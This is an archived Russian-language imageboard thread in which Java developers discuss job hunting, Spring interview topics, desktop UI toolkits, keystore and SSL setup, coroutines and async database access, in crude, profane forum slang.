> ТРЕБУЕТСЯ опыт коммерческой разработки на Java+Spring не менее 1,5 лет;
> НЕОПЛАЧИВАЕМЫЙ курс продолжительностью 2 месяца;
Что с ебалом, свидетели дефицита кадров?
Потому что ты нашёл какую-то одну странную вакансию, хотя в нормальных галерах типа люксофта с ходу берут на работу на зарплату и потом либо сразу на проект закидывают, либо проект подбирают, либо отправляют на курсы повышения квалификации. И всё это время выплачивают зарплату. У меня так приятель два месяца отдыхал
>в нормальных галерах
Это там где танцевать на камеру и записывать мотивационное интервью на английском?
Я про люксофт/епам, а не DataArt. Но вообще согласен, нахуй надо работать на галере
Без проблем, залетай, велкам
Как вообще вкатиться если даже некуда сходить просто попробовать собеседования, вакансий тупо нихуя
inb4 едь в москвуЯ уже неиронично думаю об этом
Бэквард компатибилити превыше всего.
Ну ладно, расскажу что знаю что такое MVC, data, aop и security.
А какие вообще по нему шаблонные вопросы? Я, к примеру, не смогу выучить на память все существующие аннотации и тд.
Неужели в Минске нет ни одной галеры, где сейчас были бы нужны джависты? ЕПАМ вон вроде бы постоянно курсы устраивает для желающих вкатиться, другие галеры тоже наверняка.
На галерах, к слову, как раз джава чуть ли не самый популярный язык, может быть на втором месте после js.
>>257200
Так это курс для джунов, которые хотят мидлами стать, вопрос только зачем им курс, но может кому и полезен будет.
Или же в этой конторе просто жалеют денег на нормальных мидлов, поэтому берут джунов хоть с каким-нибудь опытом, посылают их на курсы, а после заставляют делать задачи мидлов за зарплату в 1.5 раза меньше.
>>257426
Исторически сложилось, что JavaFX хоть и был перспективной платформой, но не взлетел, так как к моменту его выпуска десктоп уже помирать начал, а та крохотная часть новых проектов стартовала на Qt или на Winforms/WPF, так как там уже было куча готовых вспомогательных библиотек, да и JavaFX был слишком сырой в момент его запуска. Поэтому его собственно и выкинули, ибо нехуй тащить за собой весь мусор, который к тому же не используется.
Swing и AWT хоть и куда более топорные инструменты, но тем не менее рабочие - вон все IDE от JetBrains написаны на них, и ничего, до сих пор работают кое-как. И они к тому моменту уже плотно использовались, поэтому их решили оставить и продлить поддержку до 2025 года. Потом может и выпилят, кто знает.
Так я про десктоп.
Апплеты были похожы на ныне мертвые Adobe Flash и Silverlight, Adobe AIR про другое был. Один хуй все давным давно сдохло, чего сейчас вспоминать. Из живого их тех времен остался только Swing и Winforms/WPF.
НИИ в Москве или где еще? Обычно все-таки JavaFX редкость в наши дни, но может у них кто-то в начале 10-х годов решил на FX писать шоб все кроссплатформенное было, и до сих пор они его поддерживают. А так, подобные софтины сейчас на Qt пилят наверное.
СПб
Ок.
А в чем он плох кстати? Все думал его попробовать, но так руки и не доходят? Прямо вот реально параша и не годится для прода?
На фронтенде нет вариантов кроме жс
Недавно ходил по собесам активно, расклад следующий:
- Знай про Spring AOP в общих чертах и подробнее про аннотацию @Transactional
- Пересмотри все доклады Борисова (спринг потрошитель). Это прям мастхев, по-моему на половине собеседований были вопросы с него
- Бин, скоупы бинов, жизненный цикл
- ComponentScan, особенности бута
- циклические зависимости, виды инжектов
Мне понравилась идея, что можно писать веб-интерфейс на чистой жабе, но как начал его тыкать, увидел, что при сборке в папке проекта почвились ноде_,модулес, файлы вебпака и прочее жс-говно, будто оно нужно не ваадину, а мне. Погуглил и нашёл, что ещё пару лет назад ничего из этого не ставилось и заранее бандлилось в жарники. Ещё и тормозит, а хеллоуворлд на последней версии срёт ошибками ноды и не запускается. Ну и нахуй оно нужно, если всё равно приходится вляпываться в говноэкосистему жс.
Также тыкал аалогичные wicket, GWT и что-то ещё, но нормально со спринг бутом заработал только ваадин, остальное собирается только в варники и работает только на серверах приложений.
мимо
Возможно по инерции перекатились со свинга. В европейском церне тоже его юзают. Тут итт пояснят что кроме спринг mvc больше ничего не надо, но по факту нет ничего плохого в том что используют вещи с которыми уже есть опыт и другие наработки. И переписывать работающие вещи на диаметрально противоположную экосистему просто потому, что что-то перестало быть популярным очень хуевая идея. Изучай в зависимости от целей, если для устройства - количество вакансий ты сам видел, но они все таки есть, значит спрос есть. Но лучше начать раньше собеседоваться чтобы не проебаться. Все равно на поддержке будешь сидеть и наберешься по ходу дела.
Так а разве возможно создать UI в вебе, не генерируя/докачивая кучи js исходников? В браузерах жэва работать не умеет разучилась, только разве что через костыли и webAssembly.
Но подводный камень в том, что глубокие познания в JavaFX в дальнейшем тебе не помогут никак, в то время как Spring использовали, используют и еще лет 15 точно будут использовать.
Аналогично со свингом, но там хотя бы выбор работодателей побольше можно в jetbrains пойти формочки клепать
>Так а разве возможно создать UI в вебе, не генерируя/докачивая кучи js исходников?
Возмоно без кучи конечно, не обязательно же юзать говнофреймворки.
Сбандлить все эти js-файлы в жарник и раздавать их как статику. Клиент шлёт все события на сервер, тот их обрабатывает и возвращает клиенту готовый список операций над DOM. Оно так и работает, да и раньше тоже так работало, но не требовало всё собирать разрабам.
А для жабы нормальных инструментов для ui в вебе не было никогда. Только GWT и Vaadin. Не считая шаблонизаторов вроде thymeleaf, но это немного другое все-таки
Да пожалуйста, говорю все зависит от целей и задач. У меня нигде не используют ни одну из зависимостей спринга, и как он мне поможет делать ежедневную хуйню я даже представить не могу. И если захочу уйти, буду искать аналогичное по обязанностям говно, потому что связываться с веб парашей у меня никакого желания нет.
автоматизация чпу на заводике
>Неужели в Минске нет ни одной галеры, где сейчас были бы нужны джависты? ЕПАМ вон вроде бы постоянно курсы устраивает для желающих вкатиться, другие галеры тоже наверняка.
Может я хуево ищу, хз
Есть вакансии просто Java Dev у епама, попробую туда на писать, хули
Есть у епама еще лаба какая-то, где ебашишь три месяца как на работе по 8 часов бесплатно и не факт что возьмут
Мне то похуй, я бы мог три месяца поебашить хоть за еду, главное что бы дальше взяли полноценно. Если с завода улюсь не возьмут назад
Летом кст был на мини курсах одной галерки, там из направления жава/андройд взяли 1 чела из 14 и то на андройд(в напралении жс тоже одного чела взяли из 15+ всего)
Потом еще на одни курсы говногалеры прошел, хотел отказаться но хрка меня даж уговаривала остатьсякек, но в итоге отменили все(возможно из-за очередного бурления говна по поводу галеры этой)
Обычно jdk в гуи-приложухах на жабе лежат в инсталяторе и ставится во время инсталяции в папочку вместе с программой. Во всяком случае так работает с софтом госшараг с десктопными клиентами на свинге. Там до сих пор так иногда делают.
Я просто сказал в каком sdk javafx есть по умолчанию. Хуй знает кто это юзает, потому что она в одну строчку подключается через гредл.
Но пользователю все равно ничего не надо знать, даже жабу не нужно иметь на пекарне. Если собирать через jpackage, минимальный образ jdk будет включен в дистрибьюцию. Или можно собирать сразу в нативный образ конечной платформы без жарников и AOT через graalvm, но там свои ограничения.
Спасибо!
Мне стоит просто его написать, зная, что не все браузеры поддерживают java-аппоеты, или убедить, что написание мною java-апплета пустая трата времени и денег заказчика?
Пиздец, не ввязывайся, это же мёртвая шляпа. Конечно надо убедить, что это мёртвое говно, только если тебе не предложат 300к/нсек
> не все браузеры поддерживают java-аппоеты
Странная мысль. Очень часто в тырпрайзе 100% пользователей какого-то продукта обязаны юзать конкретный браузер с конкретными настройками и плвгинами. И там да, хоть апплеты, хоть флеш.
За аплетами будущее! Их переделают на WebAssembly и они будут основной технологией во фронте.
А в жабе есть GWT.
Можно и так сказать в некотором смысле.
>Странная мысль. Очень часто в тырпрайзе 100% пользователей какого-то продукта обязаны юзать конкретный браузер с конкретными настройками и плвгинами. И там да, хоть апплеты, хоть флеш.
Апплеты и флеш уже давным давно никто не поддерживает. Ну, может только разве Internet explorer времен винды7, но не более того. Сейчас даже в энтерпрайзах отказались от апплтов и флеша.
А в чем даунизм проявляется? Можешь рассказать? А то все вокруг только и говорят об одебилевших 30 летних вкатывальщиков с заводов, это правда?
Если бы.
Я математику любил, до того как в компанию свою попал.. там всё это было не нужно и забылось. Но может быть пора древнему знанию пробудиться.. Спасибо за совет
Работа всегда есть
>>258569
Единой книги нет. Есть статьи шипилева https://shipilev.net/jvm/anatomy-quarks/
Есть книжки средней паршивости здесь
https://www.java67.com/2019/08/best-books-to-learn-java-virtual-machine-in-depth.html
Думаю, этого более чем хватит. Тем более, что саму jvm особого смысла изучать нет, ну только если ты собираешься пилить эту самую jvm в дальнейшем в амазон коррето и оракл нужны люди
Команда из нескольких джунов и одного тимлида.
А с другой стороны, в чем тупость бывших заводчан?
В том что их наняли как синьоров, а они кроме крудов ничего не писали никогда. Можешь представить, сколько приходится с каждым сидеть, когда надо сделать чтото за рамками рест апи и похода в базу..
Не банки. В двух словах: парсим интернет, инфу продаем.
Я заметил, что толковые джависты нынче лидами сидят многие из, что я знаю. Либо ушли в другие языки, чтобы поинтереснее задачи решать
>Либо ушли в другие языки, чтобы поинтереснее задачи решать
В гоуленг что-ли? Или даже в С++?
Скармливать ему данные напрямую без пользовательского ввода?
Не знаю, попробуй и скажи. Вообще-то по хорошему твой репл должен принимать инпут стрим в качестве параметра.
Ок, попробую, спасибо.
Короче, нужно сделать keystore.jks. Мне выдали сертификат, а именно файлы:
certificate.crt (x509 pem)
certificate_ca.crt
certificate.der
certificate_request.csr
certificate.p7b
Далее, я пытаюсь по гайдам из интернета сконвертировать сертификат в формат pkcs12 командой:
openssl pkcs12 -export -in certificate.crt -inkey <???> -out certificate.p12 -name "certificate"
Вот там вместо <???> нужен приватный ключ? Где его взять? Сгенерить самому из чего-то?
Можно как-то быстро решить или я тупой дебил и надо по-любому идти курить матчасть по SSL с самых основ?
Ты хочешь сделать самоподписанный сертификат или просто засунуть его в кейстрок?
> самоподписанный
Нет, у меня вот как раз эти файлы что я привел уже есть. Я их получил from somewhere, но приватного ключа я среди них не нашел. Толи я тупой и все перепутал.
Так что да, сгенерить jks и засунуть в него.
Когда получал сертификаты с Let's encrypt, там были файлы cert.pem и privatekey.pem, и с ними у меня таки получилось разобраться. А вот с текущими файлами хз что делать.
Зачем ты пытаешься что-то сгенерировать? crt файл разве не импортируется в кейстор?
Вот в этом гайде https://www.baeldung.com/convert-pem-to-jks было сказано конвертировать сначала в PKCS12.
Приватный ключ тебе никто не даст по очевидным причинам. На второй мой вопрос ты не ответил (про crt), попробуй мб это https://stackoverflow.com/questions/57453154/how-to-add-crt-file-to-keystore-and-trust-store
Ок, сейчас попробую, спасибо.
Согласен, спасает только Vim с плагинами
https://mail.openjdk.java.net/pipermail/loom-dev/
Еще можно пощупать лум в превью билдах, но они увы все еще не стабильны для работы в проде.
Вроде как работа идет на протяжении 4 лет, лол, надеюсь через пару лет лум уже выкатят в релиз, а через 3-4 года и в LTS версию. Вообще интересно, где-нибудь кроме Go появились зеленые потоки за это время?
> где-нибудь кроме Go появились зеленые потоки за это время?
В остальных языках привыкли к ебле с async/await.
>через пару лет лум уже выкатят в релиз, а через 3-4 года и в LTS
К этому времени никто уже на джаве писать не будет
Два года назад ты говорил то же самое, но не сбылось, так что к тебе больше нет доверия.
Как раз его сложность вытекает из-за требования строить граф зависимостей в рантайме
На расте
На макакаскрипте.
Я с ним не работал, так что могу чего-то не понимать, но там как будто бы слишком много аннотаций под специфичные случаи. В итоге ментальная модель получается куда сложнее, чем у спринга (ванильного). Может я ошибаюсь, и это мнение у меня сложилось из-за наличия опыта на спринге. Но в общем мне бы хотелось что-то более простое сделать.
На китайском.
В чем вообще разница между зелеными потоками в Го, корутинами в котлине и async await в шарпе?
На пикрил последняя версия, красным видно что есть vulnerabilities from dependencies. Это ОК или такое нельзя юзать?
Лол, че эт они там напридумывали?
Задача: сделать maven репозиторий, доступный для всех из интернета.
Поднял по общедоступному URL-у self-hosted maven repository с поддержкой SSL. Сертификат от Let's Encrypt.
У репозитория есть фронтенд, который отлично работает через браузер по HTTPS.
Но mvn-клиент с этим репозиторием работать не хочет. В pom.xml прописан URL репозитория c https:// и при попытке подтянуть зависимость, падает с ошибкой:
PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target
Я знаю, что можно указать для mvn-клиента keystore.jks, но неужели это единственный способ заставить его поверить серверному сертификату от Let's Encrypt?
P.S. Между прочим, даже сайт maven.apache.org имеет сертификат от Let's Encrypt.
Асинк/эвейт чисто синтаксическая конструкция, которая заменяет еблю с CompletableFuture.get()/accept()/apply() и прочее на читаемый синтаксис и пробросом ошибок. Но не предполагает и не исключает использование корутин (об этом ниже).
В го такого нет, там синтаксис асинков можно сделать через каналы, но это уродливый костыль, как и всё в го. В котлине это suspend функции.
Зелёные/виртуальные треды/корутины это не треды, а некоторая минимальная инфа о контексте выполнения, которая стоит в очереди чтобы выполниться на реальном потоке. В го и котлине это M:N модель, которая в общем сводится что рабочих потоков у тебя сколько и ядер. Только в го этим управляет виртуальная машина, а в котлине реализовано на уровне библиотеки. Из-за того что корутины всегда двигаются по стеку рабочего потока, а не аллоцируют свой собственный их можно создавать миллионами без особой просадки по памяти. Из-за того что корутины это не системные потоки, ос не нужно впустую выделять им кванты времени и переключать контексты, что положительно влияет на ос в целом. Но.
Из-за того что корутины полагаются на ограниченный пул рабочих потоков, корутина с cpu consume задачей (цикл из миллиардов элементов, например) тупо затормозит очередь других корутин, даже если им нужно просто сложить 2+2 они будут ждать пока первая корутина завершит свою задачу. Потоки в таком сценарии выполнялись бы без тормозов (ос бы всем выделила поровну времени).
Профит корутин будет заметен при огромном количестве блокирующих операций (http запросы, например).
Асинк/эвейт с точки зрения синтаксиса критикуют, потому что он требует помечтать всю цепочку функций асинхронной (red blue functions). Хотя с другой стороны это явный знак что вызываемый код это корутина, значит код может вернуть управление уже в другом рабочем потоке, а это в некоторых сценариях причина задуматься о синхронизации. Плюс это даёт возможность запустить корутину от которой не требуется результат, и продолжить выполнять текущий код без остановки. В общем это всё даёт выбор и корутины и асинк/эвейт должны дополнять друг друга.
Асинк/эвейт чисто синтаксическая конструкция, которая заменяет еблю с CompletableFuture.get()/accept()/apply() и прочее на читаемый синтаксис и пробросом ошибок. Но не предполагает и не исключает использование корутин (об этом ниже).
В го такого нет, там синтаксис асинков можно сделать через каналы, но это уродливый костыль, как и всё в го. В котлине это suspend функции.
Зелёные/виртуальные треды/корутины это не треды, а некоторая минимальная инфа о контексте выполнения, которая стоит в очереди чтобы выполниться на реальном потоке. В го и котлине это M:N модель, которая в общем сводится что рабочих потоков у тебя сколько и ядер. Только в го этим управляет виртуальная машина, а в котлине реализовано на уровне библиотеки. Из-за того что корутины всегда двигаются по стеку рабочего потока, а не аллоцируют свой собственный их можно создавать миллионами без особой просадки по памяти. Из-за того что корутины это не системные потоки, ос не нужно впустую выделять им кванты времени и переключать контексты, что положительно влияет на ос в целом. Но.
Из-за того что корутины полагаются на ограниченный пул рабочих потоков, корутина с cpu consume задачей (цикл из миллиардов элементов, например) тупо затормозит очередь других корутин, даже если им нужно просто сложить 2+2 они будут ждать пока первая корутина завершит свою задачу. Потоки в таком сценарии выполнялись бы без тормозов (ос бы всем выделила поровну времени).
Профит корутин будет заметен при огромном количестве блокирующих операций (http запросы, например).
Асинк/эвейт с точки зрения синтаксиса критикуют, потому что он требует помечтать всю цепочку функций асинхронной (red blue functions). Хотя с другой стороны это явный знак что вызываемый код это корутина, значит код может вернуть управление уже в другом рабочем потоке, а это в некоторых сценариях причина задуматься о синхронизации. Плюс это даёт возможность запустить корутину от которой не требуется результат, и продолжить выполнять текущий код без остановки. В общем это всё даёт выбор и корутины и асинк/эвейт должны дополнять друг друга.
Пишут, что с последними версиями должна поддерживать ISRG Root X1 https://letsencrypt.org/docs/certificate-compatibility/
У тебя в сертификате кто рут? Ну и самую распоследнюю жаву поставь.
>Чтоб можно было публиковать свои зависимости отдельно от Maven Central.
Может быть тебе хватило бы https://jitpack.io/?
Для текущей задачи не подходит, т.к. проекты не на GitHub, а на self-hosted git server, но штука, видимо, крутая.
Можно в качестве зависимости прямо ссылку на проект в GitHub указывать что ли?
На релиз в гитхабе, да. Self-hosted тоже поддерживаются, насколько я понял https://jitpack.io/docs/#other-git-hosts.
> Self-hosted Git servers like GitLab are also supported. You can register your server on your user page.
Реально. Круто, спасибо, возьму на заметку.
У меня железный сервер в виде старого ноута прямо дома стоит и смотрит в интернет, и я его люблю. Правда если он вдруг накроется - всему капец
Не знал. Гору фич добавили небось
Да ну нахуй блять? Скажи плиз это кабанчикам, а то они все уверены, что после 8 жабы и 4 спринга ничего нет.
Почему именно 8? Я заметил, что во многих ОС по-умолчанию ставится 11 версия (ставил виртуалки с чистых образов и там уже была жвм). В скором времени заменят на 17.
Ебало апачей представили?
Ебанулся?
Есть. Открываешь документацию и читаешь от корки до корки
вот бы про жабу такой же
А что насчет неблокирующего доступа к базе данных? Я так понимаю, что все общение через JDBC блокирует поток, пока данные достаются из недр таблиц и пересылаются через сокеты.
Сейчас есть нормальный способ писать неблокирующую работу с базами данных? Слышал про R2DBC, но он то ли умер, то ли заглох, то ли еще не готов к проду. Так ли это? И почему в JDBC до сих пор не сделали асинхронного доступа к БД, хотя во всяких фреймворках на node.js он уже давно есть?
Есть драйвера от vert.x и даже реактивный хибер. Но там есть свои проблемы
Ничего не понял. Звучит как-будто ты пытаешься нарушить какой-то констрейнт в бд, поэтому тебе и не даёт вставить
>Можно как избежать этого?
А зачем тебе дубликаты тегов вставлять? Просто не вставляй их и все.
> сетевые программки без всяких библиотек
Очевидно, что сами сторонние либы как-то написали, и у их авторов не было ничего кроме кора. Но ты же не будешь каждый раз с нуля писать велосипед? Вот и кабан за велосипеды платить не станет.
Жаба не го, здесь фичи пилить надо, а не экспериментировать ради мифических преимушеств в далёком будущем.
Ну теперь везде будут искать подобные уязвимости. В конечном итоге придет к тому, что JNDI и RMI - сами по себе уязвимости.
Теперь все java-программисты останутся без работы? Куда перекатываться? В Шарп?
Да, всех джава-программистов выгонят с работы за плохие решения. Пойдем на го писать ArrayList-ы и CollectionUtils-ы
Они окончательно атрофируются из-за постоянного занятия копипастой.
> Почему в ChangeSet-ах порядок задается строкой
Чтобы были гибкие механизмы наименования и порядка выполнения
> зачем там имя автора?
Чтобы знать к кому обратиться в случае вопросов по ченджсету
Можно решить библиотечным методом String#split(regex)
>Чтобы знать к кому обратиться в случае вопросов по ченджсету
По-моему это какая-то надуманная хуйня в тырпрайзной разработке, нет?
Конечно надуманная. Сейчас для этого все юзают git blame.
Ну если ты петпроект разрабатываешь, то да, неактуально. В других случаях очень актуально, при чём тут git blame? Представь вот ты тестировщик, у тебя пайплан по развёртыванию навернулся. Ты будешь лезть в код и смотреть кто ченджсет написал? Ага, конечно
Если есть класс "A" и "B extends A", и в родителе (А) определен какой-то член value, то как (с точки зрения перформанса) лучше делать конструкторы? Есть вариант в классе "B" сразу сделать конструктор, который принимает все значения его полей, включая наследуемое, оставив при этом в "А" только пустой конструктор, либо лучше в "А" реализовать свой конструктор, и вызывать его через super(value) в конструкторе B?
Вроде как, второй вариант дб получше, типа в любом случае же неявно вызовется путой, и все инициализирует нулями/нулами, и только потом перепишет. Но все же хотелось бы убедиться.
Вызовов планируется оче много, потому хотелось бы оптимально
Хороший вопрос, прогони тесты через JMH, плюс кидай сюда байткод обоих вариантов, узнаем всем тредом что-то новое
Если твой сетер это тупо присваивание к полю и больше ничего, то без разницы, иначе смотри на логику твоего сетера. Но при инициализации через конструктор можно сделать поля финальными, это слегка оптимизирует работу gc, но в пределах погрешности вряд ли будет хоть какой то вообще профит.
Конструктор это просто метод, он точно так же может инлайниться JIT-ом если он маленький.
Но в целом вопрос выглядит немного диковато. Если у тебя создается так много объектов и тебе беспокоит перфоманс - то стоит подумать или о пулинге объектов или о том, чтобы заменить объект на примитивные типы. Потому что GC на весь этот мусор - сожрет весь перформанс.
Нетбинс так долго грузит что ли? Я пару раз пробовал, вроде нормально загружался. Там проблема, что он неудобный и надо настраивать после установки.
>Представь вот ты тестировщик, у тебя пайплан по развёртыванию навернулся
Как узнать, что он навернулся из-за логики в ченджсете, а не из-за того, что сеть моргнула?
>Как узнать, что он навернулся из-за логики в ченджсете, а не из-за того, что сеть моргнула?
По сообщению об ошибке.
https://github.com/alexkorep?before=Y3Vyc29yOnYyOpK5MjAxNy0wOS0xMVQwNzoxNzozMiswMzowMM4GGTSO&tab=repositories
выглядит, как говно. На жабе только андроид. Который должен быть на котле.
С чего это он должен быть на Котлине!? На джаве уже много лет пишут проги под андроид и будут писать. Ей принадлежит 99% всей мобильной разработки.
да, пиздатые видео снимает
Строчный текстовый редактор
С подключением.
Не знаю что из себя представляет эмулятор эвм, но удачи тебе.
Охуенно актуальная штука!
А UI на SDL ебошить! Отличный план!
>MAUI для дотнета, но микрософты обманули
Если я все помню, то там официальной поддержки линукса не было. Только винда, мобилки и макось. А линукс "поддержка на уровне коммьюнити", то есть никакой. Gtk# и какие-то формочки в Mono есть - вот и жрите, хуле не нравится.
А я сам хотел на шарпе пописать под линукс десктоп, потому что на шарпе гораздо приятнее писать, чем на том же С++ под Qt.
В итоге приходится писать на старом, древнем, помойном легасном Swing/AWT.
> старом, древнем, помойном легасном Swing/AWT.
Так пиши на новом, молодежном, инновационном JavaFX.
Чому? Живее свинга в любом случае. В сентябре последний релиз был, а репа каждый день обновляется.
Все равно популярность у свинга значительно больше. Всяких туториалов и либ для свинга больше. Да и он в jdk и jre есть, не нужно дополнительные жарники за собой возить.
Вообще, надеюсь и свинг выпилят к 2025 году в отдельную библиотеку.
Анон, дтошка на то и дтошка, что она хранит временно и сейчас хоть ты из бд бери, хоть из инета jsonом получай - все автоматически маппится с помощью библиотек типо jackson. Ну если совсем пиздец типо jdbcTemplate - ручками перегоняешь rowSet в дтошку и нужные тебе коллекции.
Конечно можно и только id хранить, а потом с помощью сложного запроса доставать определенный объект, но это два запроса и это как по мне хуйня идея.
На питоне в разы больше манки джоб
P.S Знаю двач все хуесосят за токсичность, но на мой взгляд по сравнению с выродками из тг каналов всяких всратых прогерских форумах и вк скотов тут не так уж и плохо, помогите плз.
пиши в новый тред
Когда кидаю исключение expected. у меня подсвечивается красным expected и пишет can't resolve method . Как решить проблему?
@Test( expected = IndexOutOfBoundsException.class)
public void testFooThrowsIndexOutOfBoundsException() {
foo.doStuff();
}
PS: Intellij IDEA.
Это копия, сохраненная 11 июля 2022 года.
Скачать тред: только с превью, с превью и прикрепленными файлами.
Второй вариант может долго скачиваться. Файлы будут только в живых или недавно утонувших тредах. Подробнее
Если вам полезен архив М.Двача, пожертвуйте на оплату сервера.